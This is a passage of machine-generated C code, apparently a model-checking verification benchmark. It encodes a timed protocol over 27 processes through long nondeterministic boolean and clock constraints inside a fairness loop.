!p22_l3) && (p22_l2 && (p22_l0 && p22_l1))) || (p22_l3 && (( !p22_l2) && (( !p22_l0) && ( !p22_l1))))))))) && (((((( !p21_l3) && (( !p21_l2) && (( !p21_l0) && ( !p21_l1)))) && (p21_c == 0.0)) && ((p21_l3 && (( !p21_l2) && (( !p21_l0) && ( !p21_l1)))) || ((( !p21_l3) && (p21_l2 && (p21_l0 && p21_l1))) || ((( !p21_l3) && (p21_l2 && (p21_l1 && ( !p21_l0)))) || ((( !p21_l3) && (p21_l2 && (p21_l0 && ( !p21_l1)))) || ((( !p21_l3) && (p21_l2 && (( !p21_l0) && ( !p21_l1)))) || ((( !p21_l3) && (( !p21_l2) && (p21_l0 && p21_l1))) || ((( !p21_l3) && (( !p21_l2) && (p21_l1 && ( !p21_l0)))) || ((( !p21_l3) && (( !p21_l2) && (( !p21_l0) && ( !p21_l1)))) || (( !p21_l3) && (( !p21_l2) && (p21_l0 && ( !p21_l1))))))))))))) && ((p21_c <= 16.0) || ( !(((( !p21_l3) && (( !p21_l2) && (p21_l0 && ( !p21_l1)))) || (( !p21_l3) && (p21_l2 && (( !p21_l0) && ( !p21_l1))))) || ((( !p21_l3) && (p21_l2 && (p21_l0 && p21_l1))) || (p21_l3 && (( !p21_l2) && (( !p21_l0) && ( !p21_l1))))))))) && (((((( !p20_l3) && (( !p20_l2) && (( !p20_l0) && ( !p20_l1)))) && (p20_c == 0.0)) && ((p20_l3 && (( !p20_l2) && (( !p20_l0) && ( !p20_l1)))) || ((( !p20_l3) && (p20_l2 && (p20_l0 && p20_l1))) || ((( !p20_l3) && (p20_l2 && (p20_l1 && ( !p20_l0)))) || ((( !p20_l3) && (p20_l2 && (p20_l0 && ( !p20_l1)))) || ((( !p20_l3) && (p20_l2 && (( !p20_l0) && ( !p20_l1)))) || ((( !p20_l3) && (( !p20_l2) && (p20_l0 && p20_l1))) || ((( !p20_l3) && (( !p20_l2) && (p20_l1 && ( !p20_l0)))) || ((( !p20_l3) && (( !p20_l2) && (( !p20_l0) && ( !p20_l1)))) || (( !p20_l3) && (( !p20_l2) && (p20_l0 && ( !p20_l1))))))))))))) && ((p20_c <= 16.0) || ( !(((( !p20_l3) && (( !p20_l2) && (p20_l0 && ( !p20_l1)))) || (( !p20_l3) && (p20_l2 && (( !p20_l0) && ( !p20_l1))))) || ((( !p20_l3) && (p20_l2 && (p20_l0 && p20_l1))) || (p20_l3 && (( !p20_l2) && (( !p20_l0) && ( !p20_l1))))))))) && (((((( !p19_l3) && (( !p19_l2) && (( !p19_l0) && ( !p19_l1)))) && (p19_c == 0.0)) && ((p19_l3 && (( !p19_l2) && (( !p19_l0) && ( !p19_l1)))) || ((( !p19_l3) && (p19_l2 && (p19_l0 && p19_l1))) || ((( !p19_l3) && (p19_l2 && (p19_l1 && ( !p19_l0)))) || ((( !p19_l3) && (p19_l2 && (p19_l0 && ( !p19_l1)))) || ((( !p19_l3) && (p19_l2 && (( !p19_l0) && ( !p19_l1)))) || ((( !p19_l3) && (( !p19_l2) && (p19_l0 && p19_l1))) || ((( !p19_l3) && (( !p19_l2) && (p19_l1 && ( !p19_l0)))) || ((( !p19_l3) && (( !p19_l2) && (( !p19_l0) && ( !p19_l1)))) || (( !p19_l3) && (( !p19_l2) && (p19_l0 && ( !p19_l1))))))))))))) && ((p19_c <= 16.0) || ( !(((( !p19_l3) && (( !p19_l2) && (p19_l0 && ( !p19_l1)))) || (( !p19_l3) && (p19_l2 && (( !p19_l0) && ( !p19_l1))))) || ((( !p19_l3) && (p19_l2 && (p19_l0 && p19_l1))) || (p19_l3 && (( !p19_l2) && (( !p19_l0) && ( !p19_l1))))))))) && (((((( !p18_l3) && (( !p18_l2) && (( !p18_l0) && ( !p18_l1)))) && (p18_c == 0.0)) && ((p18_l3 && (( !p18_l2) && (( !p18_l0) && ( !p18_l1)))) || ((( !p18_l3) && (p18_l2 && (p18_l0 && p18_l1))) || ((( !p18_l3) && (p18_l2 && (p18_l1 && ( !p18_l0)))) || ((( !p18_l3) && (p18_l2 && (p18_l0 && ( !p18_l1)))) || ((( !p18_l3) && (p18_l2 && (( !p18_l0) && ( !p18_l1)))) || ((( !p18_l3) && (( !p18_l2) && (p18_l0 && p18_l1))) || ((( !p18_l3) && (( !p18_l2) && (p18_l1 && ( !p18_l0)))) || ((( !p18_l3) && (( !p18_l2) && (( !p18_l0) && ( !p18_l1)))) || (( !p18_l3) && (( !p18_l2) && (p18_l0 && ( !p18_l1))))))))))))) && ((p18_c <= 16.0) || ( !(((( !p18_l3) && (( !p18_l2) && (p18_l0 && ( !p18_l1)))) || (( !p18_l3) && (p18_l2 && (( !p18_l0) && ( !p18_l1))))) || ((( !p18_l3) && (p18_l2 && (p18_l0 && p18_l1))) || (p18_l3 && (( !p18_l2) && (( !p18_l0) && ( !p18_l1))))))))) && (((((( !p17_l3) && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) && (p17_c == 0.0)) && ((p17_l3 && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) || ((( !p17_l3) && (p17_l2 && (p17_l0 && p17_l1))) || ((( !p17_l3) && (p17_l2 && (p17_l1 && ( !p17_l0)))) || ((( !p17_l3) && (p17_l2 && (p17_l0 && ( !p17_l1)))) || ((( !p17_l3) && (p17_l2 && (( !p17_l0) && ( !p17_l1)))) || ((( !p17_l3) && (( !p17_l2) && (p17_l0 && p17_l1))) || ((( !p17_l3) && (( !p17_l2) && (p17_l1 && ( !p17_l0)))) || ((( !p17_l3) && (( !p17_l2) && (( !p17_l0) && ( !p17_l1)))) || (( !p17_l3) && (( !p17_l2) && (p17_l0 && ( !p17_l1))))))))))))) && ((p17_c <= 16.0) || ( !(((( !p17_l3) && (( !p17_l2) && (p17_l0 && ( !p17_l1)))) || (( !p17_l3) && (p17_l2 && (( !p17_l0) && ( !p17_l1))))) || ((( !p17_l3) && (p17_l2 && (p17_l0 && p17_l1))) || (p17_l3 && (( !p17_l2) && (( !p17_l0) && ( !p17_l1))))))))) && (((((( !p16_l3) && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) && (p16_c == 0.0)) && ((p16_l3 && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) || ((( !p16_l3) && (p16_l2 && (p16_l0 && p16_l1))) || ((( !p16_l3) && (p16_l2 && (p16_l1 && ( !p16_l0)))) || ((( !p16_l3) && (p16_l2 && (p16_l0 && ( !p16_l1)))) || ((( !p16_l3) && (p16_l2 && (( !p16_l0) && ( !p16_l1)))) || ((( !p16_l3) && (( !p16_l2) && (p16_l0 && p16_l1))) || ((( !p16_l3) && (( !p16_l2) && (p16_l1 && ( !p16_l0)))) || ((( !p16_l3) && (( !p16_l2) && (( !p16_l0) && ( !p16_l1)))) || (( !p16_l3) && (( !p16_l2) && (p16_l0 && ( !p16_l1))))))))))))) && ((p16_c <= 16.0) || ( !(((( !p16_l3) && (( !p16_l2) && (p16_l0 && ( !p16_l1)))) || (( !p16_l3) && (p16_l2 && (( !p16_l0) && ( !p16_l1))))) || ((( !p16_l3) && (p16_l2 && (p16_l0 && p16_l1))) || (p16_l3 && (( !p16_l2) && (( !p16_l0) && ( !p16_l1))))))))) && (((((( !p15_l3) && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) && (p15_c == 0.0)) && ((p15_l3 && (( !p15_l2) && (( !p15_l0) && ( !p15_l1)))) || ((( !p15_l3) && (p15_l2 && (p15_l0 && p15_l1))) || ((( !p15_l3) && (p15_l2 && (p15_l1 && ( !p15_l0)))) || ((( !p15_l3) && (p15_l2 && (p15_l0 && ( !p15_l1)))) || ((( !p15_l3) && (p15_l2 && (( !p15_l0) && ( !p15_l1)))) || ((( !p15_l3) && (( !p15_l2) && (p15_l0 && p15_l1))) || ((( !p15_l3) && (( !p15_l2) && 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|| ((( !p8_l3) && (( !p8_l2) && (( !p8_l0) && ( !p8_l1)))) || (( !p8_l3) && (( !p8_l2) && (p8_l0 && ( !p8_l1))))))))))))) && ((p8_c <= 16.0) || ( !(((( !p8_l3) && (( !p8_l2) && (p8_l0 && ( !p8_l1)))) || (( !p8_l3) && (p8_l2 && (( !p8_l0) && ( !p8_l1))))) || ((( !p8_l3) && (p8_l2 && (p8_l0 && p8_l1))) || (p8_l3 && (( !p8_l2) && (( !p8_l0) && ( !p8_l1))))))))) && (((((( !p7_l3) && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) && (p7_c == 0.0)) && ((p7_l3 && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) || ((( !p7_l3) && (p7_l2 && (p7_l0 && p7_l1))) || ((( !p7_l3) && (p7_l2 && (p7_l1 && ( !p7_l0)))) || ((( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1)))) || ((( !p7_l3) && (p7_l2 && (( !p7_l0) && ( !p7_l1)))) || ((( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1))) || ((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) || ((( !p7_l3) && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) || (( !p7_l3) && (( !p7_l2) && (p7_l0 && ( !p7_l1))))))))))))) && ((p7_c <= 16.0) || ( !(((( !p7_l3) && (( !p7_l2) && (p7_l0 && ( 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(p4_l1 && ( !p4_l0)))) || ((( !p4_l3) && (p4_l2 && (p4_l0 && ( !p4_l1)))) || ((( !p4_l3) && (p4_l2 && (( !p4_l0) && ( !p4_l1)))) || ((( !p4_l3) && (( !p4_l2) && (p4_l0 && p4_l1))) || ((( !p4_l3) && (( !p4_l2) && (p4_l1 && ( !p4_l0)))) || ((( !p4_l3) && (( !p4_l2) && (( !p4_l0) && ( !p4_l1)))) || (( !p4_l3) && (( !p4_l2) && (p4_l0 && ( !p4_l1))))))))))))) && ((p4_c <= 16.0) || ( !(((( !p4_l3) && (( !p4_l2) && (p4_l0 && ( !p4_l1)))) || (( !p4_l3) && (p4_l2 && (( !p4_l0) && ( !p4_l1))))) || ((( !p4_l3) && (p4_l2 && (p4_l0 && p4_l1))) || (p4_l3 && (( !p4_l2) && (( !p4_l0) && ( !p4_l1))))))))) && (((((( !p3_l3) && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) && (p3_c == 0.0)) && ((p3_l3 && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) || ((( !p3_l3) && (p3_l2 && (p3_l0 && p3_l1))) || ((( !p3_l3) && (p3_l2 && (p3_l1 && ( !p3_l0)))) || ((( !p3_l3) && (p3_l2 && (p3_l0 && ( !p3_l1)))) || ((( !p3_l3) && (p3_l2 && (( !p3_l0) && ( !p3_l1)))) || ((( !p3_l3) && (( !p3_l2) && (p3_l0 && p3_l1))) || ((( !p3_l3) && (( !p3_l2) && (p3_l1 && ( !p3_l0)))) || ((( !p3_l3) && (( !p3_l2) && (( !p3_l0) && ( !p3_l1)))) || (( !p3_l3) && (( !p3_l2) && (p3_l0 && ( !p3_l1))))))))))))) && ((p3_c <= 16.0) || ( !(((( !p3_l3) && (( !p3_l2) && (p3_l0 && ( !p3_l1)))) || (( !p3_l3) && (p3_l2 && (( !p3_l0) && ( !p3_l1))))) || ((( !p3_l3) && (p3_l2 && (p3_l0 && p3_l1))) || (p3_l3 && (( !p3_l2) && (( !p3_l0) && ( !p3_l1))))))))) && (((((( !p2_l3) && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) && (p2_c == 0.0)) && ((p2_l3 && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) || ((( !p2_l3) && (p2_l2 && (p2_l0 && p2_l1))) || ((( !p2_l3) && (p2_l2 && (p2_l1 && ( !p2_l0)))) || ((( !p2_l3) && (p2_l2 && (p2_l0 && ( !p2_l1)))) || ((( !p2_l3) && (p2_l2 && (( !p2_l0) && ( !p2_l1)))) || ((( !p2_l3) && (( !p2_l2) && (p2_l0 && p2_l1))) || ((( !p2_l3) && (( !p2_l2) && (p2_l1 && ( !p2_l0)))) || ((( !p2_l3) && (( !p2_l2) && (( !p2_l0) && ( !p2_l1)))) || (( !p2_l3) && (( !p2_l2) && (p2_l0 && ( !p2_l1))))))))))))) && ((p2_c <= 16.0) || ( !(((( !p2_l3) && (( !p2_l2) && (p2_l0 && ( !p2_l1)))) || (( !p2_l3) && (p2_l2 && (( !p2_l0) && ( !p2_l1))))) || ((( !p2_l3) && (p2_l2 && (p2_l0 && p2_l1))) || (p2_l3 && (( !p2_l2) && (( !p2_l0) && ( !p2_l1))))))))) && (((((( !p1_l3) && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) && (p1_c == 0.0)) && ((p1_l3 && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) || ((( !p1_l3) && (p1_l2 && (p1_l0 && p1_l1))) || ((( !p1_l3) && (p1_l2 && (p1_l1 && ( !p1_l0)))) || ((( !p1_l3) && (p1_l2 && (p1_l0 && ( !p1_l1)))) || ((( !p1_l3) && (p1_l2 && (( !p1_l0) && ( !p1_l1)))) || ((( !p1_l3) && (( !p1_l2) && (p1_l0 && p1_l1))) || ((( !p1_l3) && (( !p1_l2) && (p1_l1 && ( !p1_l0)))) || ((( !p1_l3) && (( !p1_l2) && (( !p1_l0) && ( !p1_l1)))) || (( !p1_l3) && (( !p1_l2) && (p1_l0 && ( !p1_l1))))))))))))) && ((p1_c <= 16.0) || ( !(((( !p1_l3) && (( !p1_l2) && (p1_l0 && ( !p1_l1)))) || (( !p1_l3) && (p1_l2 && (( !p1_l0) && ( !p1_l1))))) || ((( !p1_l3) && (p1_l2 && (p1_l0 && p1_l1))) || (p1_l3 && (( !p1_l2) && (( !p1_l0) && ( !p1_l1))))))))) && (((((( !p0_l3) && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) && (p0_c == 0.0)) && ((p0_l3 && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) || ((( !p0_l3) && (p0_l2 && (p0_l0 && p0_l1))) || ((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || ((( !p0_l3) && (p0_l2 && (p0_l0 && ( !p0_l1)))) || ((( !p0_l3) && (p0_l2 && (( !p0_l0) && ( !p0_l1)))) || ((( !p0_l3) && (( !p0_l2) && (p0_l0 && p0_l1))) || ((( !p0_l3) && (( !p0_l2) && (p0_l1 && ( !p0_l0)))) || ((( !p0_l3) && (( !p0_l2) && (( !p0_l0) && ( !p0_l1)))) || (( !p0_l3) && (( !p0_l2) && (p0_l0 && ( !p0_l1))))))))))))) && ((p0_c <= 16.0) || ( !(((( !p0_l3) && (( !p0_l2) && (p0_l0 && ( !p0_l1)))) || (( !p0_l3) && (p0_l2 && (( !p0_l0) && ( !p0_l1))))) || ((( !p0_l3) && (p0_l2 && (p0_l0 && p0_l1))) || (p0_l3 && (( !p0_l2) && (( !p0_l0) && ( !p0_l1))))))))) && ((0.0 <= delta) && ((v1 == 27) || ((v1 == 26) || ((v1 == 25) || ((v1 == 24) || ((v1 == 23) || ((v1 == 22) || ((v1 == 21) || ((v1 == 20) || ((v1 == 19) || ((v1 == 18) || ((v1 == 17) || ((v1 == 16) || ((v1 == 15) || ((v1 == 14) || ((v1 == 13) || ((v1 == 12) || ((v1 == 11) || ((v1 == 10) || ((v1 == 9) || ((v1 == 8) || ((v1 == 7) || ((v1 == 6) || ((v1 == 5) || ((v1 == 4) || ((v1 == 3) || ((v1 == 2) || ((v1 == 0) || (v1 == 1)))))))))))))))))))))))))))))))))))))))))))))))))))))))) && (delta == _diverge_delta)) && ((((((( !((( !(_EL_U_5931 || ( !((( !p0_l3) && (p0_l2 && (p0_l1 && ( !p0_l0)))) || _EL_U_5929)))) || (_EL_U_5927 || ( !((v1 == 1) || _EL_U_5925)))) || (_EL_U_5923 || ( !((1.0 <= _diverge_delta) || _EL_U_5921))))) && ( !_J5958)) && ( !_J5964)) && ( !_J5969)) && ( !_J5975)) && ( !_J5982)) && ( !_J5988)));
while (__steps_to_fair >= 0 && __ok) {
if ((((((_J5958 && _J5964) && _J5969) && _J5975) && _J5982) && _J5988)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x_p19_l1 = __VERIFIER_nondet_bool();
_x_p22_evt = __VERIFIER_nondet_bool();
_x__diverge_delta = __VERIFIER_nondet_float();
_x_p19_l0 = __VERIFIER_nondet_bool();
_x_delta = __VERIFIER_nondet_float();
_x_p19_l2 = __VERIFIER_nondet_bool();
_x_v1 = __VERIFIER_nondet_int();
_x_p23_evt = __VERIFIER_nondet_bool();
_x_p19_l3 = __VERIFIER_nondet_bool();
_x_p24_evt = __VERIFIER_nondet_bool();
_x_p25_evt = __VERIFIER_nondet_bool();
_x_p26_evt = __VERIFIER_nondet_bool();
_x_v2 = __VERIFIER_nondet_bool();
_x_p9_l1 = __VERIFIER_nondet_bool();
_x_p19_c = __VERIFIER_nondet_float();
_x_p9_l0 = __VERIFIER_nondet_bool();
_x_p9_l2 = __VERIFIER_nondet_bool();
_x_p9_l3 = __VERIFIER_nondet_bool();
_x_p9_c = __VERIFIER_nondet_float();
_x_p20_l1 = __VERIFIER_nondet_bool();
_x_p20_l0 = __VERIFIER_nondet_bool();
_x_p20_l2 = __VERIFIER_nondet_bool();
_x_p20_l3 = __VERIFIER_nondet_bool();
_x_p10_l1 = __VERIFIER_nondet_bool();
_x_p20_c = __VERIFIER_nondet_float();
_x_p10_l0 = __VERIFIER_nondet_bool();
_x_p10_l2 = __VERIFIER_nondet_bool();
_x_p10_l3 = __VERIFIER_nondet_bool();
_x_p0_l1 = __VERIFIER_nondet_bool();
_x_p10_c = __VERIFIER_nondet_float();
_x_p0_l0 = __VERIFIER_nondet_bool();
_x_p0_l2 = __VERIFIER_nondet_bool();
_x_p21_l1 = __VERIFIER_nondet_bool();
_x_p21_l0 = __VERIFIER_nondet_bool();
_x_p0_l3 = __VERIFIER_nondet_bool();
_x_p21_l2 = __VERIFIER_nondet_bool();
_x_p21_l3 = __VERIFIER_nondet_bool();
_x_p0_c = __VERIFIER_nondet_float();
_x_p11_l1 = __VERIFIER_nondet_bool();
_x_p21_c = __VERIFIER_nondet_float();
_x_p11_l0 = __VERIFIER_nondet_bool();
_x_p11_l2 = __VERIFIER_nondet_bool();
_x_p11_l3 = __VERIFIER_nondet_bool();
_x_p1_l1 = __VERIFIER_nondet_bool();
_x_p11_c = __VERIFIER_nondet_float();
_x_p1_l0 = __VERIFIER_nondet_bool();
_x_p22_l1 = __VERIFIER_nondet_bool();
_x_p1_l2 = __VERIFIER_nondet_bool();
_x_p22_l0 = __VERIFIER_nondet_bool();
_x_p1_l3 = __VERIFIER_nondet_bool();
_x_p22_l2 = __VERIFIER_nondet_bool();
_x_p22_l3 = __VERIFIER_nondet_bool();
_x_p1_c = __VERIFIER_nondet_float();
_x_p12_l1 = __VERIFIER_nondet_bool();
_x_p22_c = __VERIFIER_nondet_float();
_x_p12_l0 = __VERIFIER_nondet_bool();
_x_p12_l2 = __VERIFIER_nondet_bool();
_x_p12_l3 = __VERIFIER_nondet_bool();
_x_p2_l1 = __VERIFIER_nondet_bool();
_x_p12_c = __VERIFIER_nondet_float();
_x_p2_l0 = __VERIFIER_nondet_bool();
_x_p23_l1 = __VERIFIER_nondet_bool();
_x_p2_l2 = __VERIFIER_nondet_bool();
_x_p23_l0 = __VERIFIER_nondet_bool();
_x_p2_l3 = __VERIFIER_nondet_bool();
_x_p23_l2 = __VERIFIER_nondet_bool();
_x_p23_l3 = __VERIFIER_nondet_bool();
_x_p2_c = __VERIFIER_nondet_float();
_x_p13_l1 = __VERIFIER_nondet_bool();
_x_p23_c = __VERIFIER_nondet_float();
_x_p13_l0 = __VERIFIER_nondet_bool();
_x_p13_l2 = __VERIFIER_nondet_bool();
_x_p13_l3 = __VERIFIER_nondet_bool();
_x_p3_l1 = __VERIFIER_nondet_bool();
_x_p13_c = __VERIFIER_nondet_float();
_x_p3_l0 = __VERIFIER_nondet_bool();
_x_p24_l1 = __VERIFIER_nondet_bool();
_x_p3_l2 = __VERIFIER_nondet_bool();
_x_p24_l0 = __VERIFIER_nondet_bool();
_x_p3_l3 = __VERIFIER_nondet_bool();
_x_p24_l2 = __VERIFIER_nondet_bool();
_x_p24_l3 = __VERIFIER_nondet_bool();
_x_p3_c = __VERIFIER_nondet_float();
_x_p14_l1 = __VERIFIER_nondet_bool();
_x_p24_c = __VERIFIER_nondet_float();
_x_p14_l0 = __VERIFIER_nondet_bool();
_x_p14_l2 = __VERIFIER_nondet_bool();
_x_p14_l3 = __VERIFIER_nondet_bool();
_x_p4_l1 = __VERIFIER_nondet_bool();
_x_p14_c = __VERIFIER_nondet_float();
_x_p4_l0 = __VERIFIER_nondet_bool();
_x_p25_l1 = __VERIFIER_nondet_bool();
_x_p4_l2 = __VERIFIER_nondet_bool();
_x_p25_l0 = __VERIFIER_nondet_bool();
_x_p4_l3 = __VERIFIER_nondet_bool();
_x_p25_l2 = __VERIFIER_nondet_bool();
_x_p25_l3 = __VERIFIER_nondet_bool();
_x_p4_c = __VERIFIER_nondet_float();
_x_p15_l1 = __VERIFIER_nondet_bool();
_x_p25_c = __VERIFIER_nondet_float();
_x_p15_l0 = __VERIFIER_nondet_bool();
_x_p15_l2 = __VERIFIER_nondet_bool();
_x_p15_l3 = __VERIFIER_nondet_bool();
_x_p5_l1 = __VERIFIER_nondet_bool();
_x_p15_c = __VERIFIER_nondet_float();
_x_p5_l0 = __VERIFIER_nondet_bool();
_x_p26_l1 = __VERIFIER_nondet_bool();
_x_p5_l2 = __VERIFIER_nondet_bool();
_x_p26_l0 = __VERIFIER_nondet_bool();
_x_p5_l3 = __VERIFIER_nondet_bool();
_x_p26_l2 = __VERIFIER_nondet_bool();
_x_p26_l3 = __VERIFIER_nondet_bool();
_x_p5_c = __VERIFIER_nondet_float();
_x_p16_l1 = __VERIFIER_nondet_bool();
_x_p26_c = __VERIFIER_nondet_float();
_x_p16_l0 = __VERIFIER_nondet_bool();
_x_p16_l2 = __VERIFIER_nondet_bool();
_x_p16_l3 = __VERIFIER_nondet_bool();
_x_p6_l1 = __VERIFIER_nondet_bool();
_x_p16_c = __VERIFIER_nondet_float();
_x_p6_l0 = __VERIFIER_nondet_bool();
_x_p6_l2 = __VERIFIER_nondet_bool();
_x__J5988 = __VERIFIER_nondet_bool();
_x_p6_l3 = __VERIFIER_nondet_bool();
_x__J5982 = __VERIFIER_nondet_bool();
_x__J5975 = __VERIFIER_nondet_bool();
_x__J5969 = __VERIFIER_nondet_bool();
_x__J5964 = __VERIFIER_nondet_bool();
_x__J5958 = __VERIFIER_nondet_bool();
_x__EL_U_5921 = __VERIFIER_nondet_bool();
_x_p6_c = __VERIFIER_nondet_float();
_x__EL_U_5923 = __VERIFIER_nondet_bool();
_x__EL_U_5925 = __VERIFIER_nondet_bool();
_x_p17_l1 = __VERIFIER_nondet_bool();
_x__EL_U_5927 = __VERIFIER_nondet_bool();
_x_p17_l0 = __VERIFIER_nondet_bool();
_x__EL_U_5929 = __VERIFIER_nondet_bool();
_x_p17_l2 = __VERIFIER_nondet_bool();
_x__EL_U_5931 = __VERIFIER_nondet_bool();
_x_p17_l3 = __VERIFIER_nondet_bool();
_x_p7_l1 = __VERIFIER_nondet_bool();
_x_p17_c = __VERIFIER_nondet_float();
_x_p7_l0 = __VERIFIER_nondet_bool();
_x_p7_l2 = __VERIFIER_nondet_bool();
_x_p7_l3 = __VERIFIER_nondet_bool();
_x_p1_evt = __VERIFIER_nondet_bool();
_x_p0_evt = __VERIFIER_nondet_bool();
_x_p2_evt = __VERIFIER_nondet_bool();
_x_p3_evt = __VERIFIER_nondet_bool();
_x_p4_evt = __VERIFIER_nondet_bool();
_x_p7_c = __VERIFIER_nondet_float();
_x_p5_evt = __VERIFIER_nondet_bool();
_x_p18_l1 = __VERIFIER_nondet_bool();
_x_p6_evt = __VERIFIER_nondet_bool();
_x_p18_l0 = __VERIFIER_nondet_bool();
_x_p7_evt = __VERIFIER_nondet_bool();
_x_p18_l2 = __VERIFIER_nondet_bool();
_x_p8_evt = __VERIFIER_nondet_bool();
_x_p18_l3 = __VERIFIER_nondet_bool();
_x_p9_evt = __VERIFIER_nondet_bool();
_x_p10_evt = __VERIFIER_nondet_bool();
_x_p11_evt = __VERIFIER_nondet_bool();
_x_p12_evt = __VERIFIER_nondet_bool();
_x_p8_l1 = __VERIFIER_nondet_bool();
_x_p18_c = __VERIFIER_nondet_float();
_x_p8_l0 = __VERIFIER_nondet_bool();
_x_p13_evt = __VERIFIER_nondet_bool();
_x_p14_evt = __VERIFIER_nondet_bool();
_x_p8_l2 = __VERIFIER_nondet_bool();
_x_p15_evt = __VERIFIER_nondet_bool();
_x_p8_l3 = __VERIFIER_nondet_bool();
_x_p16_evt = __VERIFIER_nondet_bool();
_x_p17_evt = __VERIFIER_nondet_bool();
_x_p18_evt = __VERIFIER_nondet_bool();
_x_p19_evt = __VERIFIER_nondet_bool();
_x_p20_evt = __VERIFIER_nondet_bool();
_x_p8_c = __VERIFIER_nondet_float();
_x_p21_evt = __VERIFIER_nondet_bool();
__ok = ((((((((((((((((((((((((_x_p26_l3 && (( !_x_p26_l2) && (( !_x_p26_l0) && ( !_x_p26_l1)))) || ((( !_x_p26_l3) && (_x_p26_l2 && (_x_p26_l0 && _x_p26_l1))) || ((( !_x_p26_l3) && (_x_p26_l2 && (_x_p26_l1 && ( !_x_p26_l0)))) || ((( !_x_p26_l3) && (_x_p26_l2 && (_x_p26_l0 && ( !_x_p26_l1)))) || ((( !_x_p26_l3) && (_x_p26_l2 && (( !_x_p26_l0) && ( !_x_p26_l1)))) || ((( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l0 && _x_p26_l1))) || ((( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l1 && ( !_x_p26_l0)))) || ((( !_x_p26_l3) && (( !_x_p26_l2) && (( !_x_p26_l0) && ( !_x_p26_l1)))) || (( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l0 && ( !_x_p26_l1)))))))))))) && ((_x_p26_c <= 16.0) || ( !(((( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l0 && ( !_x_p26_l1)))) || (( !_x_p26_l3) && (_x_p26_l2 && (( !_x_p26_l0) && ( !_x_p26_l1))))) || ((( !_x_p26_l3) && (_x_p26_l2 && (_x_p26_l0 && _x_p26_l1))) || (_x_p26_l3 && (( !_x_p26_l2) && (( !_x_p26_l0) && ( !_x_p26_l1))))))))) && ((delta <= 0.0) || (((((p26_l0 == _x_p26_l0) && (p26_l1 == _x_p26_l1)) && (p26_l2 == _x_p26_l2)) && (p26_l3 == _x_p26_l3)) && ((delta + (p26_c + (-1.0 * _x_p26_c))) == 0.0)))) && (p26_evt || (((((p26_l0 == _x_p26_l0) && (p26_l1 == _x_p26_l1)) && (p26_l2 == _x_p26_l2)) && (p26_l3 == _x_p26_l3)) && ((delta + (p26_c + (-1.0 * _x_p26_c))) == 0.0)))) && (((v1 == _x_v1) && (((v1 == 0) && (( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l0 && ( !_x_p26_l1))))) && ((v2 == _x_v2) && (_x_p26_c == 0.0)))) || ( !((( !p26_l3) && (( !p26_l2) && (( !p26_l0) && ( !p26_l1)))) && ((delta == 0.0) && p26_evt))))) && ((((v2 == _x_v2) && (_x_p26_c == 0.0)) && ((( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l1 && ( !_x_p26_l0)))) && (_x_v1 == 27))) || ( !((( !p26_l3) && (( !p26_l2) && (p26_l0 && ( !p26_l1)))) && ((delta == 0.0) && p26_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p26_l3) && (( !_x_p26_l2) && (( !_x_p26_l0) && ( !_x_p26_l1)))) || (( !_x_p26_l3) && (( !_x_p26_l2) && (_x_p26_l0 && _x_p26_l1)))) && (p26_c == _x_p26_c))) || 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&& (( !_x_p24_l2) && (( !_x_p24_l0) && ( !_x_p24_l1)))) || (( !_x_p24_l3) && (_x_p24_l2 && (( !_x_p24_l0) && ( !_x_p24_l1)))))) || ( !((( !p24_l3) && (( !p24_l2) && (p24_l0 && p24_l1))) && ((delta == 0.0) && p24_evt))))) && ((v2 && (p24_c == _x_p24_c)) || ( !(((delta == 0.0) && p24_evt) && ((( !_x_p24_l3) && (( !_x_p24_l2) && (( !_x_p24_l0) && ( !_x_p24_l1)))) && (( !p24_l3) && (( !p24_l2) && (p24_l0 && p24_l1)))))))) && ((( !v2) && (_x_p24_c == 0.0)) || ( !(((delta == 0.0) && p24_evt) && ((( !p24_l3) && (( !p24_l2) && (p24_l0 && p24_l1))) && (( !_x_p24_l3) && (_x_p24_l2 && (( !_x_p24_l0) && ( !_x_p24_l1))))))))) && (((_x_v2 && (( !_x_p24_l3) && (_x_p24_l2 && (_x_p24_l0 && ( !_x_p24_l1))))) && ((v1 == _x_v1) && (_x_p24_c == 0.0))) || ( !((( !p24_l3) && (p24_l2 && (( !p24_l0) && ( !p24_l1)))) && ((delta == 0.0) && p24_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((p24_c == _x_p24_c) && ((( !_x_p24_l3) && (( !_x_p24_l2) && (( !_x_p24_l0) && ( !_x_p24_l1)))) || (( !_x_p24_l3) && (_x_p24_l2 && (_x_p24_l1 && ( !_x_p24_l0))))))) || ( !((( !p24_l3) && (p24_l2 && (p24_l0 && ( !p24_l1)))) && ((delta == 0.0) && p24_evt))))) && (( !(v1 == 25)) || ( !(((delta == 0.0) && p24_evt) && ((( !_x_p24_l3) && (( !_x_p24_l2) && (( !_x_p24_l0) && ( !_x_p24_l1)))) && (( !p24_l3) && (p24_l2 && (p24_l0 && ( !p24_l1))))))))) && ((v1 == 25) || ( 